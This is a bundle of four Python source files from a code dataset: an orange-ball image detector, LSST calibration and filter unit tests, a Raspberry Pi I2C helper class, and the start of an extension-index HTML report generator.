+{"seq_id":"287631082","text":"import numpy as np\nimport sys\nfrom scipy import ndimage as im \nfrom scipy import misc\nimport colorsys\n\ntargetR=255\ntargetG=0\ntargetB=0\ncenterR=0\ncenterG=255\ncenterB=0\nwidth=640\nheight=480\nminOrangeH=7\nmaxOrangeH=35\n\ndef is_orange(red, green, blue):\n  hue, saturation, value = colorsys.rgb_to_hsv(red/255.0, green/255.0, blue/255.0)\n  hue = hue*180\n  saturation = saturation*100\n  value = value*100\n  if(hue<maxOrangeH and hue>minOrangeH and saturation>70 and value>70):\n    return 1\n  else:\n    return 0\n\ndef mark_object(x, y, obj):\n    if(x>=0 and x<width and y>=0 and y<height and marked[y][x]==0):\n        if(is_orange(image[y][x][0], image[y][x][1], image[y][x][2])):\n            objects[y][x]=obj\n            marked[y][x]=1\n            out_image[y][x][0]=255\n            out_image[y][x][1]=255\n            out_image[y][x][2]=255\n            mark_object(x-1,y,obj)\n            mark_object(x+1,y,obj)\n            mark_object(x,y+1,obj)\n            mark_object(x,y-1,obj)\n\n\nsys.setrecursionlimit(10000)\n\n# image dimensions go y,x,rgb\nimage=im.imread('balls1.png', False, 'RGB')\nout_image = np.zeros((height, width, 3))\n\nobjects = np.zeros((height,width))\nmarked = np.zeros((height,width))\ncurobj=1\n\nprint('START')\n\n# mark all objects recursively\nfor y in range(height):\n  for x in range(width):\n    if(is_orange(image[y][x][0], image[y][x][1], image[y][x][2])):\n        if(marked[y][x]==0):\n            mark_object(x,y,curobj)\n            curobj+=1\n    else:\n        out_image[y][x][0]==0\n        out_image[y][x][1]==0\n        out_image[y][x][2]==0\n\nprint(curobj)\n\n#count up size of each object\nsize_counter = np.zeros(curobj)\nfor y in range(height):\n  for x in range(width):\n    if(objects[y][x]!=0):\n        size_counter[objects[y][x]-1]+=1\n\n#find largest object\nbiggest_obj=0\nmax_size=0\nfor i in range(curobj):\n    if(size_counter[i]>max_size):\n        max_size=size_counter[i]\n        biggest_obj=i+1\n\nprint(biggest_obj)\nprint(max_size)\n\n#find center of largest object\ntotalX=0\ntotalY=0\nnum_pixels=0\nfor y in range(height):\n  for x in range(width):\n    if(objects[y][x]==biggest_obj):\n        totalX+=x\n        totalY+=y\n        num_pixels+=1\n\naverageX = (int)(totalX/num_pixels)\naverageY = (int)(totalY/num_pixels)\nprint(averageX)\nprint(averageY)\n\n#mark center\nfor x in range(width):\n    out_image[averageY][x][0]=centerR\n    out_image[averageY][x][1]=centerG\n    out_image[averageY][x][2]=centerB\nfor y in range(height):\n    out_image[y][averageX][0]=centerR\n    out_image[y][averageX][1]=centerG\n    out_image[y][averageX][2]=centerB\n\nmisc.imsave('output.png', out_image)\nprint('DONE')\n\nif(averageX > width/2):\n  print('Turn Left')\nelif(averageX < width/2):\n  print('Turn Right')\nelse:\n  if(averageY < height):\n    print('Move Forward')\n  \n","sub_path":"object_detection/object_detection.py","file_name":"object_detection.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"612640263","text":"#\n# LSST Data Management System\n# Copyright 2008, 2009, 2010 LSST Corporation.\n#\n# This product includes software developed by the\n# LSST Project (http://www.lsst.org/).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the LSST License Statement and\n# the GNU General Public License along with this program.  If not,\n# see <http://www.lsstcorp.org/LegalNotices/>.\n#\nimport math\nimport unittest\n\nimport numpy as np\n\nimport lsst.utils.tests\nimport lsst.daf.base as dafBase\nimport lsst.pex.exceptions as pexExcept\nimport lsst.afw.image as afwImage\nimport lsst.afw.image.utils as imageUtils\nfrom lsst.afw.cameraGeom.testUtils import DetectorWrapper\n\n# Set to True to display things in ds9.\ndisplay = False\n\n\nclass CalibTestCase(lsst.utils.tests.TestCase):\n    def setUp(self):\n        self.calib = afwImage.Calib()\n        self.detector = DetectorWrapper().detector\n\n    def tearDown(self):\n        del self.calib\n        del self.detector\n\n    def testPhotom(self):\n        \"\"\"Test the zero-point information\"\"\"\n\n        flux, fluxErr = 1000.0, 10.0\n        flux0, flux0Err = 1e12, 1e10\n        self.calib.setFluxMag0(flux0)\n\n        self.assertEqual(flux0, self.calib.getFluxMag0()[0])\n        self.assertEqual(0.0, self.calib.getFluxMag0()[1])\n        self.assertEqual(22.5, self.calib.getMagnitude(flux))\n        # Error just in flux\n        self.assertAlmostEqual(self.calib.getMagnitude(flux, fluxErr)[1],\n                               2.5/math.log(10)*fluxErr/flux)\n        # Error just in flux0\n        self.calib.setFluxMag0(flux0, flux0Err)\n        self.assertEqual(flux0Err, self.calib.getFluxMag0()[1])\n        self.assertAlmostEqual(self.calib.getMagnitude(flux, 0)[1],\n                               2.5/math.log(10)*flux0Err/flux0)\n\n        self.assertAlmostEqual(flux0, self.calib.getFlux(0))\n        self.assertAlmostEqual(flux, self.calib.getFlux(22.5))\n\n        # I don't know how to test round-trip if fluxMag0 is significant\n        # compared to fluxErr\n        self.calib.setFluxMag0(flux0, flux0 / 1e6)\n        for fluxErr in (flux / 1e2, flux / 1e4):\n            mag, magErr = self.calib.getMagnitude(flux, fluxErr)\n            self.assertAlmostEqual(flux, self.calib.getFlux(mag, magErr)[0])\n            self.assertLess(\n                abs(fluxErr - self.calib.getFlux(mag, magErr)[1]), 1.0e-4)\n\n        # Test context manager; shouldn't raise an exception within the block,\n        # should outside\n        with imageUtils.CalibNoThrow():\n            self.assertTrue(np.isnan(self.calib.getMagnitude(-50.0)))\n        with self.assertRaises(pexExcept.DomainError):\n            self.calib.getMagnitude(-50.0)\n\n    def testPhotomMulti(self):\n        self.calib.setFluxMag0(1e12, 1e10)\n        flux, fluxErr = 1000.0, 10.0\n        num = 5\n\n        # Result assumed to be true: tested elsewhere\n        mag, magErr = self.calib.getMagnitude(flux, fluxErr)\n\n        fluxList = np.array([flux for i in range(num)], dtype=float)\n        fluxErrList = np.array([fluxErr for i in range(num)], dtype=float)\n\n        magList = self.calib.getMagnitude(fluxList)\n        for m in magList:\n            self.assertEqual(m, mag)\n\n        mags, magErrs = self.calib.getMagnitude(fluxList, fluxErrList)\n\n        for m, dm in zip(mags, magErrs):\n            self.assertEqual(m, mag)\n            self.assertEqual(dm, magErr)\n\n        # Result assumed to be true: tested elsewhere\n        flux, fluxErr = self.calib.getFlux(mag, magErr)\n\n        fluxList = self.calib.getFlux(magList)\n        for f in fluxList:\n            self.assertEqual(f, flux)\n\n        fluxes = self.calib.getFlux(mags, magErrs)\n        for f, df in zip(fluxes[0], fluxes[1]):\n            self.assertAlmostEqual(f, flux)\n            self.assertAlmostEqual(df, fluxErr)\n\n    def testCtorFromMetadata(self):\n        \"\"\"Test building a Calib from metadata\"\"\"\n\n        flux0, flux0Err = 1e12, 1e10\n        flux, fluxErr = 1000.0, 10.0\n\n        metadata = dafBase.PropertySet()\n        metadata.add(\"FLUXMAG0\", flux0)\n        metadata.add(\"FLUXMAG0ERR\", flux0Err)\n\n        self.calib = afwImage.Calib(metadata)\n\n        self.assertEqual(flux0, self.calib.getFluxMag0()[0])\n        self.assertEqual(flux0Err, self.calib.getFluxMag0()[1])\n        self.assertEqual(22.5, self.calib.getMagnitude(flux))\n        # Error just in flux\n        self.calib.setFluxMag0(flux0, 0)\n\n        self.assertAlmostEqual(self.calib.getMagnitude(flux, fluxErr)[1],\n                               2.5/math.log(10)*fluxErr/flux)\n\n        # Check that we can clean up metadata\n        afwImage.stripCalibKeywords(metadata)\n        self.assertEqual(len(metadata.names()), 0)\n\n    def testCalibEquality(self):\n        self.assertEqual(self.calib, self.calib)\n        # using assertFalse to directly test != operator\n        self.assertFalse(self.calib != self.calib)\n\n        calib2 = afwImage.Calib()\n        calib2.setFluxMag0(1200)\n\n        self.assertNotEqual(calib2, self.calib)\n\n    def testCalibFromCalibs(self):\n        \"\"\"Test creating a Calib from an array of Calibs\"\"\"\n        mag0, mag0Sigma = 1.0, 0.01\n\n        calibs = []\n        ncalib = 3\n        for i in range(ncalib):\n            calib = afwImage.Calib()\n            calib.setFluxMag0(mag0, mag0Sigma)\n\n            calibs.append(calib)\n\n        ocalib = afwImage.Calib(calibs)\n        # the following is surely incorrect; see DM-7619\n        self.assertEqual(ocalib.getFluxMag0(), (0.0, 0.0))\n\n        # Check that we can only merge Calibs with the same fluxMag0 values\n        calibs[0].setFluxMag0(1.001*mag0, mag0Sigma)\n        with self.assertRaises(pexExcept.InvalidParameterError):\n            afwImage.Calib(calibs)\n\n    def testCalibNegativeFlux(self):\n        \"\"\"Check that we can control if negative fluxes raise exceptions\"\"\"\n        self.calib.setFluxMag0(1e12)\n\n        with self.assertRaises(pexExcept.DomainError):\n            self.calib.getMagnitude(-10)\n        with self.assertRaises(pexExcept.DomainError):\n            self.calib.getMagnitude(-10, 1)\n\n        afwImage.Calib.setThrowOnNegativeFlux(False)\n        mags = self.calib.getMagnitude(-10)\n        self.assertTrue(np.isnan(mags))\n        mags = self.calib.getMagnitude(-10, 1)\n        self.assertTrue(np.isnan(mags[0]))\n        self.assertTrue(np.isnan(mags[1]))\n\n        afwImage.Calib.setThrowOnNegativeFlux(True)\n\n        # Re-check that we raise after resetting ThrowOnNegativeFlux.\n        with self.assertRaises(pexExcept.DomainError):\n            self.calib.getMagnitude(-10)\n        with self.assertRaises(pexExcept.DomainError):\n            self.calib.getMagnitude(-10, 1)\n\n\ndef defineSdssFilters(testCase):\n    \"\"\"Initialise filters as used for our tests\"\"\"\n    imageUtils.resetFilters()\n    wavelengths = dict()\n    testCase.aliases = dict(u=[], g=[], r=[], i=[], z=['zprime', \"z'\"])\n    for name, lambdaEff in (('u', 355.1),\n                            ('g', 468.6),\n                            ('r', 616.5),\n                            ('i', 748.1),\n                            ('z', 893.1)):\n        wavelengths[name] = lambdaEff\n        imageUtils.defineFilter(name, lambdaEff, alias=testCase.aliases[name])\n    return wavelengths\n\n\nclass ColorTestCase(lsst.utils.tests.TestCase):\n    def setUp(self):\n        defineSdssFilters(self)\n\n    def testCtor(self):\n        afwImage.Color()\n        afwImage.Color(1.2)\n\n    def testLambdaEff(self):\n        f = afwImage.Filter(\"g\")\n        g_r = 1.2\n        c = afwImage.Color(g_r)\n\n        # XXX Not a real implementation!\n        self.assertEqual(c.getLambdaEff(f), 1000*g_r)\n\n    def testIsIndeterminate(self):\n        \"\"\"Test that a default-constructed Color tests True, but ones with a g-r value test False\"\"\"\n        self.assertTrue(afwImage.Color().isIndeterminate())\n        self.assertFalse(afwImage.Color(1.2).isIndeterminate())\n\n\nclass FilterTestCase(lsst.utils.tests.TestCase):\n    def setUp(self):\n        # Initialise our filters\n        # Start by forgetting that we may already have defined filters\n        wavelengths = defineSdssFilters(self)\n        self.filters = tuple(sorted(wavelengths.keys()))\n        self.g_lambdaEff = [lambdaEff for name,\n                            lambdaEff in wavelengths.items() if name == \"g\"][0]  # for tests\n\n    def defineFilterProperty(self, name, lambdaEff, force=False):\n        return afwImage.FilterProperty(name, lambdaEff, force=force)\n\n    def testListFilters(self):\n        self.assertEqual(afwImage.Filter.getNames(), list(self.filters))\n\n    def testCtorFromMetadata(self):\n        \"\"\"Test building a Filter from metadata\"\"\"\n\n        metadata = dafBase.PropertySet()\n        metadata.add(\"FILTER\", \"g\")\n\n        f = afwImage.Filter(metadata)\n        self.assertEqual(f.getName(), \"g\")\n        # Check that we can clean up metadata\n        afwImage.stripFilterKeywords(metadata)\n        self.assertEqual(len(metadata.names()), 0)\n\n        badFilter = \"rhl\"               # an undefined filter\n        metadata.add(\"FILTER\", badFilter)\n        # Not defined\n        with self.assertRaises(pexExcept.NotFoundError):\n            afwImage.Filter(metadata)\n\n        # Force definition\n        f = afwImage.Filter(metadata, True)\n        self.assertEqual(f.getName(), badFilter)  # name is correctly defined\n\n    def testFilterEquality(self):\n        \"\"\"Test a \"g\" filter comparison\"\"\"\n        f = afwImage.Filter(\"g\")\n        g = afwImage.Filter(\"g\")\n\n        self.assertEqual(f, g)\n\n        f = afwImage.Filter()           # the unknown filter\n        self.assertNotEqual(f, f)       # ... doesn't equal itself\n\n    def testFilterProperty(self):\n        \"\"\"Test properties of a \"g\" filter\"\"\"\n        f = afwImage.Filter(\"g\")\n        # The properties of a g filter\n        g = afwImage.FilterProperty.lookup(\"g\")\n\n        self.assertEqual(f.getName(), \"g\")\n        self.assertEqual(f.getId(), 1)\n        self.assertEqual(f.getFilterProperty().getLambdaEff(),\n                         self.g_lambdaEff)\n        self.assertEqual(f.getFilterProperty(),\n                         self.defineFilterProperty(\"gX\", self.g_lambdaEff, force=True))\n        self.assertEqual(g.getLambdaEff(), self.g_lambdaEff)\n\n    def testLambdaMinMax(self):\n        \"\"\"Test additional properties for minimum and maximum wavelength for a filter.\"\"\"\n        filt = afwImage.Filter(\"g\")\n        # LambdaMin and LambdaMax are undefined for the test SDSS filter, and should return nan\n        self.assertTrue(np.isnan(filt.getFilterProperty().getLambdaMin()))\n        self.assertTrue(np.isnan(filt.getFilterProperty().getLambdaMax()))\n        lambdaEff = 476.31\n        lambdaMin = 405\n        lambdaMax = 552\n        imageUtils.defineFilter(\"gNew\", lambdaEff, lambdaMin=lambdaMin, lambdaMax=lambdaMax)\n        filtNew = afwImage.Filter(\"gNew\")\n        self.assertEqual(lambdaMin, filtNew.getFilterProperty().getLambdaMin())\n        self.assertEqual(lambdaMax, filtNew.getFilterProperty().getLambdaMax())\n\n    def testFilterAliases(self):\n        \"\"\"Test that we can provide an alias for a Filter\"\"\"\n        for name0 in self.aliases:\n            f0 = afwImage.Filter(name0)\n            self.assertEqual(f0.getCanonicalName(), name0)\n            self.assertEqual(sorted(f0.getAliases()),\n                             sorted(self.aliases[name0]))\n\n            for name in self.aliases[name0]:\n                f = afwImage.Filter(name)\n                self.assertEqual(sorted(f.getAliases()),\n                                 sorted(self.aliases[name0]))\n                self.assertEqual(f.getId(), f0.getId())\n                self.assertEqual(f.getName(), name)\n                self.assertEqual(afwImage.Filter(f.getId()).getName(), name0)\n                self.assertEqual(f.getCanonicalName(), name0)\n                self.assertNotEqual(f.getCanonicalName(), name)\n                self.assertEqual(f.getFilterProperty().getLambdaEff(),\n                                 f0.getFilterProperty().getLambdaEff())\n\n    def testReset(self):\n        \"\"\"Test that we can reset filter IDs and properties if needs be\"\"\"\n        g = afwImage.FilterProperty.lookup(\"g\")\n\n        # Can we add a filter property?\n        with self.assertRaises(pexExcept.RuntimeError):\n            self.defineFilterProperty(\"g\", self.g_lambdaEff + 10)\n        # should not raise\n        self.defineFilterProperty(\"g\", self.g_lambdaEff + 10, True)\n        self.defineFilterProperty(\"g\", self.g_lambdaEff, True)\n\n        # Can we redefine properties?\n        with self.assertRaises(pexExcept.RuntimeError):\n            # changing definition is not allowed\n            self.defineFilterProperty(\"g\", self.g_lambdaEff + 10)\n\n        # identical redefinition is allowed\n        self.defineFilterProperty(\"g\", self.g_lambdaEff)\n\n        # OK if Id's the same\n        afwImage.Filter.define(g, afwImage.Filter(\"g\").getId())\n        # AUTO will assign the same ID\n        afwImage.Filter.define(g, afwImage.Filter.AUTO)\n\n        # different ID\n        with self.assertRaises(pexExcept.RuntimeError):\n            afwImage.Filter.define(g, afwImage.Filter(\"g\").getId() + 10)\n\n    def testUnknownFilter(self):\n        \"\"\"Test that we can define, but not use, an unknown filter\"\"\"\n        badFilter = \"rhl\"               # an undefined filter\n        with self.assertRaises(pexExcept.NotFoundError):\n            afwImage.Filter(badFilter)\n        # Force definition\n        f = afwImage.Filter(badFilter, True)\n        self.assertEqual(f.getName(), badFilter)  # name is correctly defined\n\n        # can't use Filter f\n        with self.assertRaises(pexExcept.NotFoundError):\n            f.getFilterProperty().getLambdaEff()\n\n        # Now define badFilter\n        lambdaEff = 666.0\n        self.defineFilterProperty(badFilter, lambdaEff)\n\n        # but now we can\n        self.assertEqual(f.getFilterProperty().getLambdaEff(), lambdaEff)\n\n        # Check that we didn't accidently define the unknown filter\n        with self.assertRaises(pexExcept.NotFoundError):\n            afwImage.Filter().getFilterProperty().getLambdaEff()\n\n\nclass MemoryTester(lsst.utils.tests.MemoryTestCase):\n    pass\n\n\ndef setup_module(module):\n    lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n    lsst.utils.tests.init()\n    unittest.main()\n","sub_path":"tests/test_color.py","file_name":"test_color.py","file_ext":"py","file_size_in_byte":14644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"12710862","text":"#!/usr/bin/python\n\nimport os\nimport mmap\nimport time\nimport smbus\n\n# ===========================================================================\n# Based on https://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code\n# Copyright (c) 2012-2013 Limor Fried, Kevin Townsend and Mikey Sklar for Adafruit Industries. All rights reserved.\n# ===========================================================================\n\nclass I2C(object):\n    __BLOCK_SIZE = 4096\n    __BCM2708_PERI_BASE = 0x20000000 # Base address of peripheral registers\n    __GPIO_BASE = (__BCM2708_PERI_BASE + 0x00200000)  # Address of GPIO registers\n    __GPFSEL0 = 0x0000 # Function select 0\n    __GPFSEL2 = 0x0008 # Function select 2\n    __GPPUD = 0x0094 # GPIO Pin Pull-up/down Enable\n    __GPPUDCLK0 = 0x0098 # GPIO Pin Pull-up/down Enable Clock 0\n    __GPIO_PUD_OFF = 0b00   # Off - disable pull-up/down\n    __GPIO_PUD_UP = 0b10    # Enable Pull Up control\n\n\n    @staticmethod\n    def _piRevision():\n        \"Gets the version number of the Raspberry Pi board\"\n        # Courtesy quick2wire-python-api\n        # https://github.com/quick2wire/quick2wire-python-api\n        try:\n            with open('/proc/cpuinfo','r') as f:\n                for line in f:\n                    if line.startswith('Revision'):\n                        return 1 if line.rstrip()[-1] in ['1','2'] else 2\n        except:\n            return 0\n\n    @classmethod\n    def defaultBusNumber(cls):\n        \"Returns the default I2C bus number /dev/i2c#\"\n        return 0 if cls._piRevision() == 1 else 1\n\n    @classmethod\n    def pinoutConfiguredBuses(cls):\n        if cls._piRevision() == 1:\n            return [cls.defaultBusNumber()]     # this is not 100% correct - I guess you can change the pin configuration on a revision 1 board, too\n\n        mf = os.open(\"/dev/mem\", os.O_RDWR | os.O_SYNC)\n        memory = mmap.mmap(mf, cls.__BLOCK_SIZE, mmap.MAP_SHARED, \n                    mmap.PROT_READ | mmap.PROT_WRITE, offset=cls.__GPIO_BASE)\n        os.close(mf)\n\n        bus_numbers = []\n\n        # Read function select registers\n        # GPFSEL0 -- GPIO 0,1 I2C0   GPIO 2,3 I2C1\n        memory.seek(cls.__GPFSEL0)\n        reg0 = int.from_bytes(memory.read(4), byteorder='little')\n\n        # GPFSEL0 bits --> x[20] SCL1[3] SDA1[3] x[6]\n        #                        GPIO3   GPIO2\n        reg0_mask = 0b00000000000000000000111111000000 \n        reg0_conf = 0b00000000000000000000100100000000\n        if reg0 & reg0_mask == reg0_conf:\n            bus_numbers.append(1)\n\n\n        # GPFSEL2 -- GPIO 28,29 I2C0\n        memory.seek(cls.__GPFSEL2)\n        reg2 = int.from_bytes(memory.read(4), byteorder='little')\n\n        # GPFSEL2 bits --> x[2] SCL0[3] SDA0[3] x[24]\n        #                       GPIO29  GPIO28\n        reg2_mask = 0b00111111000000000000000000000000 \n        reg2_conf = 0b00100100000000000000000000000000\n        if reg2 & reg2_mask == reg2_conf:\n            bus_numbers.append(0)\n\n        memory.close()\n\n        return bus_numbers\n\n    @classmethod\n    def configurePinouts(cls, logger=None):\n        if cls._piRevision() < 2:\n            raise RuntimeError(\"Raspberry Pi Rev 2 or greater required.\")\n\n        # Use /dev/mem to gain access to peripheral registers\n        mf = os.open(\"/dev/mem\", os.O_RDWR | os.O_SYNC)\n        memory = mmap.mmap(mf, cls.__BLOCK_SIZE, mmap.MAP_SHARED, \n                    mmap.PROT_READ | mmap.PROT_WRITE, offset=cls.__GPIO_BASE)\n        # can close the file after we have mmap\n        os.close(mf)\n\n        # each 32 bit register controls the functions of 10 pins, each 3 bit, starting at the LSB\n        # 000 = input\n        # 100 = alt function 0\n\n        # Read function select registers\n        # GPFSEL0 -- GPIO 0,1 I2C0   GPIO 2,3 I2C1\n        memory.seek(cls.__GPFSEL0)\n        reg0 = int.from_bytes(memory.read(4), byteorder='little')\n\n        # GPFSEL0 bits --> x[20] SCL1[3] SDA1[3] \n        #                        GPIO3   GPIO2   GPIO1   GPIO0\n        reg0_mask = 0b00000000000000000000111111111111 \n        reg0_conf = 0b00000000000000000000100100000000\n        if reg0 & reg0_mask != reg0_conf:\n            if logger is not None:\n                logger.info(\"register 0 configuration of I2C0 not correct. Updating.\")\n            reg0 = (reg0 & ~reg0_mask) | reg0_conf\n            memory.seek(cls.__GPFSEL0)\n            memory.write(reg0.to_bytes(4, byteorder='little'))\n\n\n        # GPFSEL2 -- GPIO 28,29 I2C0\n        memory.seek(cls.__GPFSEL2)\n        reg2 = int.from_bytes(memory.read(4), byteorder='little')\n\n        # GPFSEL2 bits --> x[2] SCL0[3] SDA0[3] x[24]\n        #                       GPIO29  GPIO28\n        reg2_mask = 0b00111111000000000000000000000000 \n        reg2_conf = 0b00100100000000000000000000000000\n        if reg2 & reg2_mask != reg2_conf:\n            if logger is not None:\n                logger.info(\"register 2 configuration of I2C0 not correct. Updating.\")\n            reg2 = (reg2 & ~reg2_mask) | reg2_conf\n            memory.seek(cls.__GPFSEL2)\n            memory.write(reg2.to_bytes(4, byteorder=\"little\"))\n\n        # Configure pull up resistors for GPIO28 and GPIO29\n        def configure_internal_pull_up_resistor(pin):\n            memory.seek(cls.__GPPUD)\n            memory.write(cls.__GPIO_PUD_UP.to_bytes(4, byteorder=\"little\"))\n            time.sleep(10e-6)\n\n            memory.seek(cls.__GPPUDCLK0)\n            memory.write((1 << pin).to_bytes(4, byteorder=\"little\"))\n            time.sleep(10e-6)\n\n            memory.seek(cls.__GPPUD)\n            memory.write(cls.__GPIO_PUD_OFF.to_bytes(4, byteorder=\"little\"))\n\n            memory.seek(cls.__GPPUDCLK0)\n            memory.write((0 << pin).to_bytes(4, byteorder=\"little\"))\n\n        configure_internal_pull_up_resistor(28)\n        configure_internal_pull_up_resistor(29)\n\n        # No longer need the mmap\n        memory.close()\n\n    @classmethod\n    def isDeviceAnswering(cls, address, busnum=-1):\n        \"Checks if a device is answering on the given address\"\n        try:\n            bus = smbus.SMBus(busnum if busnum >= 0 else cls.defaultBusNumber())\n            bus.write_quick(address)\n            return True\n        except IOError as err:\n            return False\n\n    def __init__(self, address, busnum=-1, logger=None):\n        self.logger = logger\n        self.address = address\n        # By default, the correct I2C bus is auto-detected using /proc/cpuinfo\n        # Alternatively, you can hard-code the bus version below:\n        # self.bus = smbus.SMBus(0); # Force I2C0 (early 256MB Pi's)\n        # self.bus = smbus.SMBus(1); # Force I2C1 (512MB Pi's)\n        self.bus = smbus.SMBus(busnum if busnum >= 0 else I2C.defaultBusNumber())\n\n    def reverseByteOrder(self, data):\n        \"Reverses the byte order of an int (16-bit) or long (32-bit) value\"\n        # Courtesy Vishal Sapre\n        byteCount = len(hex(data)[2:].replace('L','')[::2])\n        val       = 0\n        for i in range(byteCount):\n            val    = (val << 8) | (data & 0xff)\n            data >>= 8\n        return val\n\n    def errMsg(self):\n        if self.logger is not None:\n            self.logger.error(\"Error accessing 0x%02X: Check your I2C address\", self.address)\n        return -1\n\n    def write8(self, reg, value):\n        \"Writes an 8-bit value to the specified register/address\"\n        try:\n            self.bus.write_byte_data(self.address, reg, value)\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Wrote 0x%02X to register 0x%02X\", value, reg)\n        except IOError as err:\n            return self.errMsg()\n\n    def write16(self, reg, value):\n        \"Writes a 16-bit value to the specified register/address pair\"\n        try:\n            self.bus.write_word_data(self.address, reg, value)\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Wrote 0x%02X to register pair 0x%02X,0x%02X\", value, reg, reg+1)\n        except IOError as err:\n            return self.errMsg()\n\n    def writeRaw8(self, value):\n        \"Writes an 8-bit value on the bus\"\n        try:\n            self.bus.write_byte(self.address, value)\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Wrote 0x%02X\", value)\n        except IOError as err:\n            return self.errMsg()\n\n    def writeList(self, reg, list):\n        \"Writes an array of bytes using I2C format\"\n        try:\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Writing list to register 0x%02X:\\n%s\", reg, list)\n            self.bus.write_i2c_block_data(self.address, reg, list)\n        except IOError as err:\n            return self.errMsg()\n\n    def readList(self, reg, length):\n        \"Read a list of bytes from the I2C device\"\n        try:\n            results = self.bus.read_i2c_block_data(self.address, reg, length)\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Device 0x%02X returned the following from reg 0x%02X:\\n%s\", self.address, reg, results)\n            return results\n        except IOError as err:\n            return self.errMsg()\n\n    def readU8(self, reg):\n        \"Read an unsigned byte from the I2C device\"\n        try:\n            result = self.bus.read_byte_data(self.address, reg)\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Device 0x%02X returned 0x%02X from reg 0x%02X\", self.address, result & 0xFF, reg)\n            return result\n        except IOError as err:\n            return self.errMsg()\n\n    def readS8(self, reg):\n        \"Reads a signed byte from the I2C device\"\n        try:\n            result = self.bus.read_byte_data(self.address, reg)\n            if result > 127: result -= 256\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Device 0x%02X returned 0x%02X from reg 0x%02X\", self.address, result & 0xFF, reg)\n            return result\n        except IOError as err:\n            return self.errMsg()\n\n    def readU16(self, reg):\n        \"Reads an unsigned 16-bit value from the I2C device\"\n        try:\n            result = self.bus.read_word_data(self.address,reg)\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Device 0x%02X returned 0x%04X from reg 0x%02X\", self.address, result & 0xFFFF, reg)\n            return result\n        except IOError as err:\n            return self.errMsg()\n\n    def readS16(self, reg):\n        \"Reads a signed 16-bit value from the I2C device\"\n        try:\n            result = self.bus.read_word_data(self.address,reg)\n            if self.logger is not None:\n                self.logger.debug(\"I2C: Device 0x%02X returned 0x%04X from reg 0x%02X\", self.address, result & 0xFFFF, reg)\n            return result\n        except IOError as err:\n            return self.errMsg()\n\nif __name__ == '__main__':\n    try:\n        bus = I2C(address=0)\n        print(\"Default I2C bus is accessible\")\n    except:\n        print(\"Error accessing default I2C bus\")\n","sub_path":"src/adafruit/wirebus.py","file_name":"wirebus.py","file_ext":"py","file_size_in_byte":10919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"159598304","text":"from __future__ import print_function\n\n\n\"\"\" scan_extensions - Scans extensions for problems and produce index\n\n\"\"\"\n\n__version__ = (2, 0, 0)\n\nimport datetime\nimport re\nimport sets\n\nimport acm\n\nimport FExtensionUtils\nreload(FExtensionUtils)\n\n# #############################################################################\n# Generate HTML Report\n\nfrom FHTML import *\n\nadfltokens = sets.Set( \"\"\"number nil true false ident string var ref value \nnode remote shift df imply select objattr switch shunt default simproxy \nsnoop defer bod averageOf maxOf meanOf minOf sumOf check not and or \neof\"\"\".split(\" \") )\n\nclass AdflCrossLinker:\n    \"\"\"Used by regexp to add crossreferences to code fragments\"\"\"\n    def __init__(self, extensions):\n        self.extensions = extensions\n    def __call__(self, match):\n        txt = match.groups()[0]\n        if txt in self.extensions:\n            return ref(txt)\n        if txt in adfltokens:\n            return b(txt)\n        return txt\n    \ndef write_report(fname, extensions, description, context, unreffed):    \n    \"\"\"Produce HTML report of problem an and indexed documentation\"\"\"\n    # As always html generation looks rather horrible in practice...\n    res = [\"\"\"<html><head><title> Full scan of extension attributes in %s\n                </title></head><body bgcolor=ffffff>\"\"\" % (description,)]               \n    res.append(\"\"\"<h1>Index of extension for %s</h1>\"\"\" % (description,) )\n    res.append(\"\"\"Produced on: %s<p>\"\"\" % (str(datetime.datetime.now())[0:19],) )\n    res.append(\"\"\"By user: %s<p>\"\"\" % (acm.UserName(),) )\n    res.append(\"\"\"ADS: %s<p>\"\"\" % (acm.ADSAddress(),) )\n    res.append(h2(\"Unreferenced extensions (total = %d)\"% (len(unreffed) )))\n    unrefbymod = {}\n    for extname in unreffed:\n        for ext in extensions[extname]:\n            unrefbymod.setdefault(ext.module_name, sets.Set()).add(extname)\n    for mod, unrefextensn in unrefbymod.items():\n        res.append( \"<p>\" + hilite(mod, \"ffff88\") + \"<p>\")\n        for extname in sorted_extensions(unrefextensn):\n            res.append(ref(extname) + \", \")\n    revindex = build_reverse_index(extensions)\n    lastletter = ''\n    res.append(h2(\"Referenced extensions (total = %d)\"% (len(extensions) )))\n    for extname in sorted_extensions(extensions):\n        if extname[0].upper() != lastletter:\n            lastletter = extname[0].upper()\n            res.append( h3(lastletter) )\n        res.append(ref(extname) +\"  \")\n    crosslinker = AdflCrossLinker(extensions)\n    for extname in sorted_extensions(extensions):        \n        res.append(h2(anchor(extname)) )    \n        if context:\n            descr = context.ExtensionDescription(\"FExtensionAttribute\", extname)\n            if descr:\n                res.append(i(descr) + \"<p>\")\n        for ext in extensions[extname]:\n            linkedcode = re.sub(\"([a-zA-Z_][a-zA-Z_0-9]*)\", \n                                crosslinker, ext.code)\n            res.append( hilite(ext.module_name, \"ffdddd\") + hilite(ext.class_name) + \n                        \" = \" +  fmtadfl(linkedcode) )\n            res.append(\"<p>\")        \n        res.append( h3(\"referenced by\") )\n        refs = list(revindex.get(extname, []) )\n        refs.sort(lambda a, b:cmp(a.upper(), b.upper()))\n        for ext in refs:\n            res.append( ref( ext ) + \" \")\n        res.append(\"<HR>\")        \n    